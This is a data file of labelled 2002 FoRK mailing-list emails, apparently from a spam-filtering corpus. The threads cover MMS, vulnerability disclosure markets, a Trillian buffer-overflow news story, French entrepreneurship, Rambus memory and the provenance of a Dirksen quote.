want ""instant show"". I think people like to package their pictures and show them. That's why people put together fancy albums, and sit there and force you to go through them while they explain every picture. Sure, occasionally ""instant show"" is nice, but it's just ""nice"" on occasion. I still can't see how it becomes a integral messaging method. What's the specific benefit of taking a picture and immediately sending it from one phone to another? There has to be *some* benefit, even if it's silly if people are going to flock to it. I'm searching... no one has given me a straight answer yet. The *only* really intriguing idea I've heard about things like MMS lately are Dan Gillmor's assertion that one day in the near future some news event will happen, and a bunch of people will snap pictures with their mobile phones, from all different angles, and those photos tell the real story of what happened - before the press even gets there. Willing to be proven wrong, Mike PS If the wireless carriers continue to price these services as stupidly as they currently are, then MMS is *never* going to catch on. http://xent.com/mailman/listinfo/fork",0,1 yyyyalcolm@uraeus.com,yyyy@spamassassin.taint.org (Justin Mason),"Wed, 21 Aug 2002 17:16:54 +0000",Re: The Curse of India's Socialism,"Justin Mason writes: >So IMO it's the corruption that's the problem; and corruption != >regulation, and corruption != socialism. Also, over-population is really >a symptom of that. Without addressing the overpopulation argument, the more bureaucracy, the more opportunity for corruption. If a corporation is corrupt, there are generally, absent more government intervention, alternatives. With bureacracy that is more difficult; one generally most uproot oneself and move. http://xent.com/mailman/listinfo/fork",0,1 UW Email Robot ,fork ,"Wed, 21 Aug 2002 16:20:17 -0700",The MIME information you requested (last changed 3154 Feb 14),"-------------------------------------------------------------------------- What is MIME? MIME stands for ""Multipurpose Internet Mail Extensions"". It is the standard for how to send multipart, multimedia, and binary data using the world-wide Internet email system. Typical uses of MIME include sending images, audio, wordprocessing documents, programs, or even plain text files when it is important that the mail system does not modify any part of the file. MIME also allows for labelling message parts so that a recipient (or mail program) may determine what to do with them. How can I read a MIME message? Since MIME is only a few years old, there are still some mailers in use which do not understand MIME messages. However, there are a growing number of mail programs that have MIME support built-in. (One popular MIME-capable mailer for Unix, VMS and PCs is Pine, developed at the University of Washington and available via anonymous FTP from the host ftp.cac.washington.edu in the file /pine/pine.tar.Z) In addition, several proprietary email systems provide MIME translation capability in their Internet gateway products. However, even if you do not have access to a MIME-capable mailer or suitable gateway, there is still hope! There are a number of stand-alone programs that can interpret a MIME message. One of the more versatile is called ""munpack"". It was developed at Carnegie Mellon University and is available via anonymous FTP from the host ftp.andrew.cmu.edu in the directory pub/mpack/. There are versions available for Unix, PC, Mac and Amiga systems. For compabibility with older forms of transferring binary files, the munpack program can also decode messages in split-uuencoded format. Does MIME replace UUENCODE? Yes. UUENCODE has been used for some time for encoding binary files so that they can be sent via Internet mail, but it has several technical limitations and interoperability problems. MIME uses a more robust encoding called ""Base64"" which has been carefully designed to survive the message transformations made by certain email gateways. How can I learn more about MIME? The MIME Internet standard is described in RFC-1521, available via anonymous FTP from many different Internet hosts, including: o US East Coast Address: ds.internic.net (198.49.45.10) o US West Coast Address: ftp.isi.edu (128.9.0.32) o Pacific Rim Address: munnari.oz.au (128.250.1.21) o Europe Address: nic.nordu.net (192.36.148.17) Look for the file /rfc/rfc1521.txt Another source of information is the Internet news group ""comp.mail.mime"", which includes a periodic posting of a ""Frequently Asked Questions"" list. -------------------------------------------------------------------------- http://xent.com/mailman/listinfo/fork",0,1 Dan Brickley ,Lucas Gonze ,"Thu, 22 Aug 2002 19:39:45 -0400 (EDT)",Re: The case for spam,"On Thu, 22 Aug 2002, Lucas Gonze wrote: > > Political mail (the snail kind) doesn't bother me. I like it a lot of the > time, because as crap as it is at least it's not the kind of info you get > on TV. Particularly for small time local politics, it's the best way to > get information. Except that thanks to the magic of spam, it's usually some else's locale > but what matters is that mail is speech, and political email has to be as > well protected as any other political speech. Spam is *the* tool for > dissident news, since the face that it's unsolicited means that recipients > can't be blamed for being on a mailing list. A terrible argument. There are better technical solutions to privacy protection than sending a copy of the same message to everyone on the Internet, so the recipients can't be blamed for reading it. Wait till phone spam is as cheap to send as email spam... Dan http://xent.com/mailman/listinfo/fork",0,1 Adam Shostack ,Kragen Sitaker ,"Thu, 22 Aug 2002 10:08:09 -0400",Re: the underground software vulnerability marketplace and its,"Hi Kragen, This is an interesting analysis. I think that there are a couple of nits I might pick (for example, I don't expect that the market will be well developed with highest bidders for while), I think that the most important issue, which is that end users won't be able to fix their systems, is almost passed over. I know that you know this, and you allude to it, but your essay is getting passed around, so you might want to add to it bits about the sysadmin and others. There's one other point which you don't make, which I think is very important, which is that research into defining and addressing classes of vulnerabilities can't happen without libraries of available vulnerability code. I can think of three researchers into automated methods for addressing vulnerabilities who griped, uninvited, about the quality of the existing vulnerability sites. Doing research into a set requires that you have enough examples, in the open, that you can define a set, and that the set is added to from time to time so you can make and test predictions. I feel fairly confident in saying that without full disclosure, we wouldn't have Stackguard, ITS4, Nissus, or snort. And the security admin's job would be a lot harder. Adam On Thu, Aug 22, 2002 at 08:42:12AM +0200, Eugen Leitl wrote: | -- | -- Eugen* Leitl leitl | ______________________________________________________________ | ICBMTO: N48 04'14.8'' E11 36'41.2'' http://eugen.leitl.org | 83E5CA02: EDE4 7193 0833 A96B 07A7 1A88 AA58 0E89 83E5 CA02 | | | ---------- Forwarded message ---------- | Date: Thu, 22 Aug 2002 00:24:54 -0400 (EDT) | From: Kragen Sitaker | To: fork@spamassassin.taint.org | Subject: the underground software vulnerability marketplace and its hazards | | On August 7th, an entity known as ""iDEFENSE"" sent out an announcement, | which is appended to this email. Briefly, ""iDEFENSE"", which bills | itself as ""a global security intelligence company"", is offering cash | for information about security vulnerabilities in computer software | that are not publicly known, especially if you promise not to tell | anyone else. | | If this kind of secret traffic is allowed to continue, it will pose a | very serious threat to our computer communications infrastructure. | | At the moment, the dominant paradigm for computer security research | known as ""full disclosure""; people who discover security | vulnerabilities in software tell the vendor about them, and a short | while later --- after the vendor has had a chance to fix the problem | --- they publish the information, including code to exploit the | vulnerability, if possible. | | This method has proven far superior to the old paradigm established by | CERT in the late 1980s, which its proponents might call ""responsible | disclosure"" --- never release working exploit code, and never release | any information on the vulnerability before all vendors have released | a patch. This procedure often left hundreds of thousands of computers | vulnerable to known bugs for months or years while the vendors worked | on features, and often, even after the patches were released, people | wouldn't apply them because they didn't know how serious the problem | was. | | The underground computer criminal community would often discover and | exploit these same holes for months or years while the ""responsible | disclosure"" process kept their victims, who had no connections in the | underground, vulnerable. | | The problem with this is that vulnerabilities that are widely known | are much less dangerous, because their victims can take steps to | reduce their potential impact --- including disabling software, | turning off vulnerable features, filtering traffic in transit, and | detecting and responding to intrusions. They are therefore much less | useful to would-be intruders. Also, software companies usually see | security vulnerabilities in their software as PR problems, and so | prefer to delay publication (and the expense of fixing the bugs) as | long as possible. | | iDEFENSE is offering a new alternative that appears far more dangerous | than either of the two previous paradigms. They want to be a buyer in | a marketplace for secret software vulnerability information, rewarding | discoverers of vulnerabilities with cash. | | Not long before, Snosoft, a group of security researchers evidently | including some criminal elements, apparently made an offer to sell the | secrecy of some software vulnerability information to the software | vendor; specifically, they apparently made a private offer to | Hewlett-Packard to keep a vulnerability in HP's Tru64 Unix secret if | HP retained Snosoft's ""consulting services"". HP considered this | extortion and responded with legal threats, and Snosoft published the | information. | | If this is allowed to happen, it will cause two problems which, | together, add up to a catastrophe. | | First, secret software vulnerability information will be available to | the highest bidder, and to nobody else. For reasons explained later, | I think the highest bidders will generally be organized crime | syndicates, although that will not be obvious to the sellers. | | Second, finding software vulnerabilities and keeping them secret will | become lucrative for many more talented people. The result will be | --- just as in the ""responsible disclosure"" days --- that the good | guys will remain vulnerable for months and years, while the majority | of current vulnerabilities are kept secret. | | I've heard it argued that the highest bidders will generally be the | vendors of the vulnerable software, but I don't think that's | plausible. If someone can steal $20 000 because a software bug lets | them, the software vendor is never held liable; often, in fact, the | people who administer the software aren't liable, either --- when | credit card data are stolen from an e-commerce site, for example. | Knowing about a vulnerability before anyone else might save a web-site | administrator some time, and it might save the software vendor some | negative PR, but it can net the thief thousands of dollars. | | I think the highest bidders will be those for whom early vulnerability | information is most lucrative --- the thieves who can use it to | execute the largest heists without getting caught. Inevitably, that | means organized crime syndicates, although the particular gangs who | are good at networked theft may not yet exist. | | There might be the occasional case where a market leader, such as | Microsoft, could make more money by giving their competitors bad PR | than a gang could make by theft. Think of a remote-root hole in | Samba, for example. | | Right now, people who know how to find security exploits are either | motivated by personal interest in the subject, motivated by the public | interest, motivated by a desire for individual recognition, or | personally know criminals that benefit from their exploits. Creating | a marketplace in secret vulnerability information would vastly | increase the availability of that information to the people who can | afford to pay the most for it: spies, terrorists, and organized crime. | | Let's not let that happen. | | | | | This is the original iDEFENSE announcement: | | From: Sunil James [mailto:SJames@iDefense.com] | Sent: Wednesday, August 07, 2002 12:32 PM | Subject: Introducing iDEFENSE's Vulnerability Contributor Program | | | Greetings, | | iDEFENSE is pleased to announce the official launch of its Vulnerability | Contributor Program (VCP). The VCP pays contributors for the advance | notification of vulnerabilities, exploit code and malicious code. | | iDEFENSE hopes you might consider contributing to the VCP. The following | provides answers to some basic questions about the program: | | Q. How will it work? | A. iDEFENSE understands the majority of security researchers do not publish | security research for compensation; rather, it could be for any of a number | of motivations, including the following: | | * Pure love of security research | * The desire to protect against harm to targeted networks | * The desire to urge vendors to fix their products | * The publicity that often accompanies disclosure | | The VCP is for those who want to have their research made public to the | Internet community, but who would also like to be paid for doing the | work.The compensation will depend, among other things, on the following | items: | | * The kind of information being shared (i.e. vulnerability or exploit) | * The amount of detail and analysis provided | * The potential severity level for the information shared | * The types of applications, operating systems, and other | software and hardware potentially affected | * Verification by iDEFENSE Labs | * The level of exclusivity, if any, for data granted to iDEFENSE | | Q. Who should contribute to the VCP? | A. The VCP is open to any individual, security research group or other | entity. | | Q. Why are you launching this program? | A. Timeliness remains a key aspect in security intelligence. Contributions | to some lists take time before publication to the public at large. More | often, many of these services charge clients for access without paying the | original contributor. Under the iDEFENSE program, the contributor is | compensated, iDEFENSE Labs verifies the issue, and iDEFENSE clients and the | public at large are warned in a timely manner. | | Q. Who gets the credit? | A. The contributor is always credited for discovering the vulnerability or | exploit information. | | Q. When can I contribute? | The VCP is active. You are welcome to begin contributing today. | | To learn more, go to http://www.idefense.com/contributor.html. If you have | questions or would like to sign up as a contributor to the VCP, please | contact us at contributor@idefense.com. | | Regards, | | Sunil James | Technical Analyst | iDEFENSE | | ""iDEFENSE is a global security intelligence company that proactively | monitors sources throughout the world -- from technical vulnerabilities and | hacker profiling to the global spread of viruses and other malicious code. | The iALERT security intelligence service provides decision-makers, frontline | security professionals and network administrators with timely access to | actionable intelligence and decision support on cyber-related threats. | iDEFENSE Labs is the research wing that verifies vulnerabilities, examines | the behavior of exploits and other malicious code and discovers new | software/hardware weaknesses in a controlled lab environment."" | | http://xent.com/mailman/listinfo/fork | -- ""It is seldom that liberty of any kind is lost all at once."" -Hume http://xent.com/mailman/listinfo/fork",0,1 Gregory Alan Bolcer ,FoRK ,"Sat, 24 Aug 2002 11:30:40 -0700",buffer overflows,"Didn't we just have a discussion on FoRK how hard it is nowadays to write something that's not buffer overflow protected? http://news.zdnet.co.uk/story/0,,t269-s2121250,00.html Location: http://news.zdnet.co.uk/story/0,,t269-s2121250,00.html IM client vulnerable to attack IM client vulnerable to attack James Pearce, ZDNet Australia Users of messenger client Trillian are vulnerable to attack, according to information security analyst John Hennessy. Hennessy has published a proof-of-concept showing the latest version of Trillian, v0.73, is vulnerable to a buffer-overflow attack that will allow individuals with malicious intent to run any program on the computer. Trillion is a piece of software that allows you to connect to ICQ, AOL Instant Messenger, MSN Messenger, Yahoo! Messenger and IRC with a single interface, despite some companies actively avoiding messenger interoperability. According to Jason Ross, senior analyst at amr interactive, in June 2002 there were 28,000 home users of Trillian in Australia, about 0.4 percent of the Internet population, and 55,000 people using it at work, about 1.8 percent of the Internet population. David Banes, regional manager of Symantec security response, told ZDNet Australia the code appeared to be valid. ""With these sort of things you have to find some process that would accept a connection, then throw loads of random data at it and get it to crash,"" he said. ""Once it's crashed, you can try to find a way to exploit it."" He said the proof-of-concept that was published is designed to run on Notepad, but could be easily modified to run any program on the system. He said the problem was easy to fix by ""writing protective code around that particular piece to more closely validate the data around that piece."" ""Because people are pushed for productivity you tend to leave out the checks and balances you should put in, which is why we have all these buffer overflows and exploits out there now,"" said Banes. Cerulean Studios, creator of Trillian, was contacted for comment but had not responded by the time of publication. ------------------------------------------------------------------------ For all security-related news, including updates on the latest viruses, hacking exploits and patches, check out ZDNet UK's Security News Section. Have your say instantly, and see what others have said. Go to the Security forum. Let the editors know what you think in the Mailroom. Copyright 2002 CNET Networks, Inc. All Rights Reserved. ZDNET is a registered service mark of CNET Networks, Inc. ZDNET Logo is a service mark of CNET NETWORKS, Inc. http://xent.com/mailman/listinfo/fork",0,1 Gregory Alan Bolcer ,fork@spamassassin.taint.org,"Sat, 24 Aug 2002 08:04:03 -0700",Re: Entrepreneurs,"There's been well documented articles, studies of the French tax laws, corporate governance, and financial oversight that 1) dont' easily allow for ISOs, the root of almost all entrepreneurialship, and 2) the easy flow of capital to new ventures. It was an extremely large issue, even debated widely in France. Greg Chuck Murcko wrote: > According to my son, it was actually Homer Simpson, who claimed the > French had no word for victory. > > Chuck > > On Thursday, August 22, 2002, at 01:58 PM, Robert Harley wrote: > >> An apparent quote from Dubya, from the Times (sent to me by my Dad): >> >> http://www.timesonline.co.uk/printFriendly/0,,1-43-351083,00.html >> >> ------------------------------------------------------------------------------ >> >> TONY BLAIR's special relationship with George W. Bush is under >> considerable strain. Not only do the two disagree on Yassir Arafat's >> tenure as leader of the Palestinian Authority, but Blair has started >> telling disparaging anecdotes about the President. >> >> Baroness Williams of Crosby recalled a story told to her by 'my good >> friend Tony Blair' recently in Brighton. Blair, Bush and Jacques >> Chirac were discussing economics and, in particular, the decline of >> the French economy. 'The problem with the French,' Bush confided in >> Blair, 'is that they don't have a word for entrepreneur.' >> ------------------------------------------------------------------------------ >> >> >> R >> http://xent.com/mailman/listinfo/fork >> > > http://xent.com/mailman/listinfo/fork > http://xent.com/mailman/listinfo/fork",0,1 Gregory Alan Bolcer ,FoRK ,"Sun, 25 Aug 2002 17:25:32 -0700",Doom 3,"Doom 3 will be based on a peer to peer architecture says CmdrTaco quoting Ant quoting Carmack. Greg http://slashdot.org/article.pl?sid=02/08/25/1310220 DOOM 3 will use P2P System? Posted by CmdrTaco on Sunday August 25, @09:19AM from the i'll-believe-it-when-I'm-fragged-on-it dept. Ant writes ""From Page 6 of FiringSquad's QuakeCon 2002 Postmortem article: John Carmack said something at the end of the Q&A about how the multiplayer will be only four players? Tim: After 2 hours of talking up at the podium, sometimes you leave a few details out. Doom 3 multiplayer will be fully scalable. It will be a peer to peer system. We haven't started working on it yet. Tell everyone not to panic - it will be fine. John just forgot to mention it'll be scalable past four players. It's hard to give a hard number because we haven't started working on it yet. Right now we're focused on making Doom 3 a kickass, over the top single player game."" http://xent.com/mailman/listinfo/fork",0,1 Gregory Alan Bolcer ,FoRK ,"Mon, 26 Aug 2002 07:25:30 -0700",Enlightenment,"I finally let go of my Irix Magic desktop and window manager and evaluated several other window managers. Having lost my 10 years of customization with my X10 and then X11 desktop at one point at UCI, I promised myself that I'd never get attached to another WM. I limped along in the default Gnome desktop, I had a few unsuccessful stabs at the Solaris open view desktop, but nothing really stuck. Because of this along with SGI's love of pre-configured, pre-compiled freeware[1], I never really made the jump from Irix to Linux either. After installing the enlightenment WM, I have to say, I am really enlightened. It's definitely a far cry from the no frills first look from previous versions. It's only on version 0.17,[2] but it's a careful balance between simplicity, performance, (fun) features, applications, and ease of customization. The number of themes they have on freshmeat is amazing. [3] After less than an hour or two of ""nesting"" I already have almost all my menus and controls setup just the way I want. I definitely recommend this to any Irix desktop holdouts. It's a great way to refresh your machine SGI without having to bite the bullet and rebuild it as a Linux machine. Greg [1] http://freeware.sgi.com/ [2] http://www.enlightenment.org/ [3] http://themes.freshmeat.net/browse/60/?topic_id=60 http://xent.com/mailman/listinfo/fork",0,1 Gregory Alan Bolcer ,FoRK ,"Mon, 26 Aug 2002 07:43:03 -0700",UCI Creative Writing,"More articles that support my fantasy that Irvine is the center of the universe. We've got the corner on electric cars, fuel cells, two types of Nobel winning physics, outside the box computer science, and lot of creative writers. UCI's creative writing department has been in the news a lot over the course of the last decade. Some quotes from the article[1]: ""In 1992, Newsweek called UCI's fiction writing workshop 'the hottest writing program in the country.' Now it's exponentially hotter, thanks only in part to Sebold's daring and uncannily timely novel. The novel they are talking about is Alice Sebold's ""The Lovely Bones"" which is on the way to the top of the NY Times best-sellers list. My uncle used to tease me about UCI (being a USC graduate from '54) that nobody knew who UC Irvine was just two states over. In fact, I used to refer to UCI as one of the lesser known UC schools, and when I went off to college in 1985, my relatives told everyone I was off to Cal State Irvine. I took a class as an undergrad by one of the department's faculty called ""the art of writing fiction"". If there was ever any two classes that helped contributed to writing my dissertation, it was that one which taught me how to get the writing flowing and my high school typing class which taught me how to type really fast. One of the advantages they cite in the article is that they seem to take a chance on the ""not-so-sure"" bet, but according to the article, the number of UCI graduates that have gone on to write best sellers and the handful that feed the film industry is creating a viscious cycle that lures more talent which creates the right writing ecosystem, which churns out more success stories which lures more talent. Greg [1] http://www.ocregister.com/sitearchives/2002/8/25/news/uci00825cci1.shtml http://xent.com/mailman/listinfo/fork",0,1 Geege ,fork@spamassassin.taint.org,"Mon, 26 Aug 2002 13:39:46 -0700 (PDT)","Rambus, Man","This message was sent to you from http://www.idg.net Geege would like you to read the story below: http://www.idg.net/gomail.cgi?id=940026 Title: A first look at the 2.8-GHz Pentium 4 Summary: Latest Rambus memory plus fast bus appear to give Intel's newest P4 the jolt it needs. Geege attached the following message: ------------------------------------------------------------ ha ha ha harley. rambus earns it. ------------------------------------------------------------ Stay on top of the world of Information Technology with your own FREE subscription to our specialized newsletters. Subscribe now at http://www.idg.net/subscribe 7132",0,1 James Rogers ,fork@spamassassin.taint.org,26 Aug 2002 14:18:57 -0700,Re: The Curse of India's Socialism,"On Tue, 2002-08-20 at 15:01, Ian Andrew Bell wrote: > > Yet, despite all of this intense regulation and paper pushing, as > well as regulatory scrutiny by the FTC, SEC, and IRS, the > executives of Telecom Companies have managed to bilk the investment > community for what looks to be tens of billions of dollars. This is a good thing. Getting hammered for stupid investments is likely to result in smarter investments in the future. Nobody is supposed to win all the time, particularly not people who don't do due diligence. ""A fool and his money are soon parted"" and all that. It isn't the job of the FTC/SEC/IRS/etc to make sure you invest your money wisely (and I have grave doubts that they could even if it was their job). > They > finished their routine with the a quadruple lutz -- laying off > hundreds of thousands of workers when it all came crashing down. So what? Nobody is guaranteed employment. Laying people off is not a crime nor is it immoral. Companies don't exist to provide employment, nor should they. The closest we have to such a thing in the US is a Government Job, and look at the quality THAT breeds. > So.. tell me again.. how are we better off? Perhaps it is just a matter of personal preference, but I'd rather not live in a ""feed lot"" society, thank-you-very-much. -James Rogers jamesr@best.com",0,0 James Rogers ,fork@spamassassin.taint.org,26 Aug 2002 15:02:54 -0700,Re: Entrepreneurs,"On Sat, 2002-08-24 at 08:04, Gregory Alan Bolcer wrote: > There's been well documented articles, studies of the > French tax laws, corporate governance, and financial > oversight that 1) dont' easily allow for ISOs, the root > of almost all entrepreneurialship, and 2) the easy flow > of capital to new ventures. It was an extremely large > issue, even debated widely in France. It is actually a lot worse than this. What it boils down to is that only the privileged class is really allowed to start a serious company. What I found fascinating is that the old French aristocracy effectively still exists (literally the same families), but they now hold top executive and management positions in the major French firms and the government, positions which are only passed on to other blue bloods. Not officially of course, but as a strict matter of practice. And the laws and legal structures make sure that this system stays firmly in place. Even for a young French blue blood, strict age hierarchies keep them from branching out into a new venture in their own country (though many can leverage this to start companies in OTHER countries). I know about the French system first-hand and the executives are quite candid about it (at least to Yanks like me who are working with them), but I suspect this may hold true for other European countries as well. After all those ""revolutions"", France is still nothing more than a thinly veiled old-school aristocracy, with all the trappings. -James Rogers jamesr@best.com",0,0 """Joseph S. Barrera III"" ",Jim Whitehead ,"Mon, 26 Aug 2002 16:28:55 -0700",Re: How unlucky can you get?,"Jim Whitehead wrote: > So, after shutting off the water and mopping up, I was left to ponder what > are the odds of having mechanical failure of a large rectangular porcelain > bowl, in the absence of any visible stressors (like someone striking it with > a sledgehammer)? We hadn't done anything unusual to the toilet in the recent All it takes is an overtorqued nut (e.g. at the water intake entrance) to stress the porcelain, and you've got a time bomb waiting to go off. Of course, if you're lucky, you'll overtorque it enough that the tank will break right away, while you still have the water intake shut off. - Joe",0,0 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Tue, 27 Aug 2002 01:40:02 +0200 (CEST)",Re: A biblical digression,"John Hall: >Ran across a site which claimed to explain the original meaning of the >Ten Commandments. It seems some of those meanings have evolved a bit, too. You mean that ""Thou shalt not covet thy neighbour's ass"" used to be about donkeys??? Inconceivable!!! R",0,0 """Adam L. Beberg"" ","""Joseph S. Barrera III"" ","Mon, 26 Aug 2002 18:09:28 -0700 (PDT)",Re: The GOv gets tough on Net Users.....er Pirates..,"On Mon, 26 Aug 2002, Joseph S. Barrera III wrote: > Adam L. Beberg wrote: > > Fair use needs to be clarified a bit > > That's an understatement!!! Yes, it is :( > > How else do i ever have hope of finding a job working for someone > > that makes things people are supposed to ... *drumroll* pay for. > > Well, you could damn well get a fucking better attitude. I practically > handed you a job the other week and you pissed all over me. I'm done > helping you. You have joined a very exclusive club that up to now has > only had my sister as a member. Forwarding me stuff from a list is hardly handing me a job. I tracked them down, they dont exist anymore, like 99% of the things I track down the req's are pulled or there is a freeze. The real problem is you cant even train for jobs now, since they _demand_ 7-10 years at a job paid to do the wierd collection of skills they want. But I'll get lucky eventually and someone I know will be a hiring manager. - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com",0,1 """Joseph S. Barrera III"" ",fork@spamassassin.taint.org,"Mon, 26 Aug 2002 18:30:45 -0700",Re: The GOv gets tough on Net Users.....er Pirates..,"Adam L. Beberg wrote: > Forwarding me stuff from a list is hardly handing me a job. I was talking about the open reqs at Kana (the company I work for). Oh, but programming in Java is beneath you. - Joe",0,0 Eugen Leitl ,Geege ,"Tue, 27 Aug 2002 04:44:02 +0200 (CEST)","Re: Rambus, Man","On Mon, 26 Aug 2002, Geege wrote: > Latest Rambus memory plus fast bus appear to give Intel's newest P4 the jolt it needs. Well, Athlon FSB 333 is almost there. And I'm really looking forward to the Hammer series.",0,0 """Adam L. Beberg"" ",Geege ,"Mon, 26 Aug 2002 20:13:53 -0700 (PDT)","Re: Rambus, Man","On Mon, 26 Aug 2002, Geege wrote: > Summary: > Latest Rambus memory plus fast bus appear to give Intel's newest P4 the > jolt it needs. > > Geege attached the following message: > ------------------------------------------------------------ > ha ha ha harley. rambus earns it. > ------------------------------------------------------------ ""Expect a 3 percent to 5 percent boost with PC1066"" 5% faster for only 4 times [pricewatch at 7:55PM - 93 vs 379] the cost. Gimme gimme gimme! And I better get the full 5% speedup. And gime me that 20% faster GeForce 4600 at twice the cost of the 4200 too. Seriously, who falls for this scam? P.S. finished the PS2 port, it benchmarks at fp:1 int:40. a celeron 525 benches at fp:460 int:400... If it's not a polygon fill the thing is useless. There will be no beowolf cluster of these. It is 3x faster then the iPaq tho at 1/13 :) - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com",0,1 Tom ,fork@spamassassin.taint.org,"Tue, 27 Aug 2002 00:19:37 -0400 (EDT)",Re: The GOv gets tough on Net Users.....er Pirates..,"What are you trying to sell???? What is the Value??? Example...Does Pratchett sell paper bound by glue or does he sell stories? Question...When I buy a book have I purchased the story? When I sell the book does any of that revenue go to mr Pratchett? What if I read the book and give it to someone, who then reads it and gives it to someone who then reads it and gives it to someones....(bookcrossing.com though with more succesfull passings). Does each reader send Mr Pratchett money? Have Used Bookstores, Recorstores etc destroyed the system of book/record economy? AS to the resident sourpuss, in germany bitter may be better but here its just plain stinkin thinkin. -tom",0,0 Eirikur Hallgrimsson ,FoRK ,"Tue, 27 Aug 2002 01:24:00 -0400",Gecko adhesion finally sussed.,"(Via Robot Wisdom) Maybe you UC folk know these people? http://www.eurekalert.org/pub_releases/2002-08/lcc-sph082202.php Working at Lewis & Clark College, the University of California at Berkeley, the University of California at Santa Barbara, and Stanford University, the interdisciplinary team: * confirmed speculation that the gecko's amazing climbing ability depends on weak molecular attractive forces called van der Waals forces, * rejected a competing model based on the adhesion chemistry of water molecules, and * discovered that the gecko's adhesive depends on geometry, not surface chemistry. In other words, the size and shape of the tips of gecko foot hairs--not what they are made of--determine the gecko's stickiness. To verify its experimental and theoretical results, the gecko group then used its new data to fabricate prototype synthetic foot-hair tips from two different materials. ""Both artificial setal tips stuck as predicted,"" notes Autumn, assistant professor of biology at Lewis & Clark College in Portland, Ore. ""Our initial prototypes open the door to manufacturing the first biologically inspired dry, adhesive microstructures, which can have widespread applications.""",0,1 Rohit Khare ,Fork@xent.com,"Mon, 26 Aug 2002 19:05:50 -0700","""A billion here, a billion there...""","> Bottom line: the late Senate Minority Leader certainly would have > endorsed the meaning behind the phrase, but it is questionable that he > ever coined it. An interesting link courtesy of the Harrow Report: there's no written evidence so far that Senator Everett Dirksen is the source of the infamous quote attributed to him. It's kind of astounding that there is enough general social consensus (25% of all queries makes it a *very* FAQ) and ""eyewitness"" reporting without a single written source. What the essay below doesn't seem to answer, though, is what the earliest attributed quote in print by any other writer is. I'd naturally be much more skeptical if the ""quote"" emerged after his death... RK =============================================================== http://www.dirksencenter.org/featuresBillionHere.htm ""A billion here, a billion there . . ."" Did Dirksen ever say, "" A billion here, a billion there, and pretty soon you're talking real money""? (or anything very close to that?) Perhaps not. Based on an exhaustive search of the paper and audio records of The Dirksen Congressional Center, staffers there have found no evidence that Dirksen ever uttered the phrase popularly attributed to him. Archivists undertook the search after studying research statistics showing that more than 25 percent of inquiries have to do with the quote or its variations. Here is what they examined: all of the existing audio tapes of the famed ""Ev and Charlie"" and ""Ev and Jerry"" shows, all newspapers clippings in the Dirksen Papers, about 12,500 pages of Dirksen's own speech notes, transcripts of his speeches and media appearances, transcripts of Republican leadership press conferences, and Dirksen's statements on the Senate floor as documented in the Congressional Record. Although Dirksen rarely prepared the text of a speech, preferring to rely on notes, he did employ brief phrases to remind him of a particular turn of phrase. For example, in referring to the public debt or excessive government spending, Dirksen would jot the word ""pothole"" to remind him to tell the following story, on this occasion in reference to the debt ceiling: ""As I think of this bill, and the fact that the more progress we make the deeper we go into the hole, I am reminded of a group of men who were working on a street. They had dug quite a number of holes. When they got through, they failed to puddle or tamp the earth when it was returned to the hole, and they had a nice little mound, which was quite a traffic hazard. ""Not knowing what to do with it, they sat down on the curb and had a conference. After a while, one of the fellows snapped his fingers and said, I have it. I know how we will get rid of that overriding earth and remove the hazard. We will just dig the hole deeper.'"" [Congressional Record, June 16, 1965, p. 13884]. On the same occasion, Dirksen relied on yet another ""spending"" story, one he labeled ""cat in the well"": ""One time in the House of Representatives [a colleague] told me a story about a proposition that a teacher put to a boy. He said, Johnny, a cat fell in a well 100 feet deep. Suppose that cat climbed up 1 foot and then fell back 2 feet. How long would it take the cat to get out of the well?' ""Johnny worked assiduously with his slate and slate pencil for quite a while, and then when the teacher came down and said, How are you getting along?' Johnny said, Teacher, if you give me another slate and a couple of slate pencils, I am pretty sure that in the next 30 minutes I can land that cat in hell.' ""If some people get any cheer our of a $328 billion debt ceiling, I do not find much to cheer about concerning it."" [Congressional Record, June 16, 1965, p. 13884]. But there are no such reminders for the ""A billion here, a billion there . . . "" tag line as there surely should have been given Dirksen's note-making tendencies. He spoke often and passionately about the debt ceiling, federal spending, and the growth of government. Yet there is no authoritative reference to the ""billion"" phrase. The chief evidence in support of Dirksen making the statement comes from people who claim to have heard him. The Library of Congress, for example, cites someone's personal observation on the campaign trail as evidence. The Dirksen Center has received calls from people who heard Dirksen say those words, some even providing the date of the event. But cross-checking that information with the records has, so far, turned up nothing in the way of confirmation. The closest documented statement came at a joint Senate-House Republican leadership press conference on March 8, 1962, when Dirksen said, ""The favorite sum of money is $1 billion a billion a year for a fatter federal payroll, a billion here, a billion there."" [EMD Papers, Republican Congressional Leadership File, f. 25] But the ""and pretty soon you're talking real money"" is missing. In another close call, the New York Times, January 23, 1961, quoted Dirksen: ""Look at education two-and-one-half billion a billion for this, a billion for that, a billion for something else. Three to five billion for public works. You haven't got any budget balance left. You'll be deeply in the red."" [Cited in Byron Hulsey's ""Everett Dirksen and the Modern Presidents,"" Ph.D. dissertation (May 1998, University of Texas, p. 226] Of course, the Dirksen Papers do not document completely the late Senator's comments. For example, The Center that bears his name does not have his testimony before committees. Their collection of Congressional Records ends in 1965, omitting the last four years of Dirksen's life and career he might have employed the phrase only late, although witnesses claim he said it throughout his career. Dirksen's campaign speeches tended not to produce transcripts, only sketchy notes or abbreviated newspaper accounts. Dirksen also held center stage before the video age, meaning that many remarks, particularly those in campaigns, escaped capture. Bottom line: the late Senate Minority Leader certainly would have endorsed the meaning behind the phrase, but it is questionable that he ever coined it. --- My permanent email address is khare@alumni.caltech.edu",0,1 yyyy@spamassassin.taint.org (Justin Mason),fork ,"Tue, 27 Aug 2002 11:04:20 +0100",Re: The MIME information you requested (last changed 3154 Feb 14),"UW Email Robot said: > What is MIME? I know what MIME is godammit ;) > Since MIME is only a few years old, ... a *few*? Time to update pine-robot-blurb.txt on docserver.cac.washington.edu, I think. Has anyone figured out what's up with this? Does someone out there think that FoRK needs some MIME tutoring? --j.",0,0 Kragen Sitaker ,fork@spamassassin.taint.org,"Tue, 27 Aug 2002 12:27:40 -0400",Re: The MIME information you requested (last changed 3154 Feb 14),"Justin Mason writes: > Has anyone figured out what's up with this? Does someone out there > think that FoRK needs some MIME tutoring? I was puzzled at first, but I think I understand what happened. First, I approved the post because it didn't appear to be spam, even though it wasn't from a member. I thought it was odd that someone wanted to send the MIME blurb to the list, but it was not really that different from causing the New York Times web site to send a story to the list. (Except that the bits here are antediluvian, but old bits are a problem to be solved 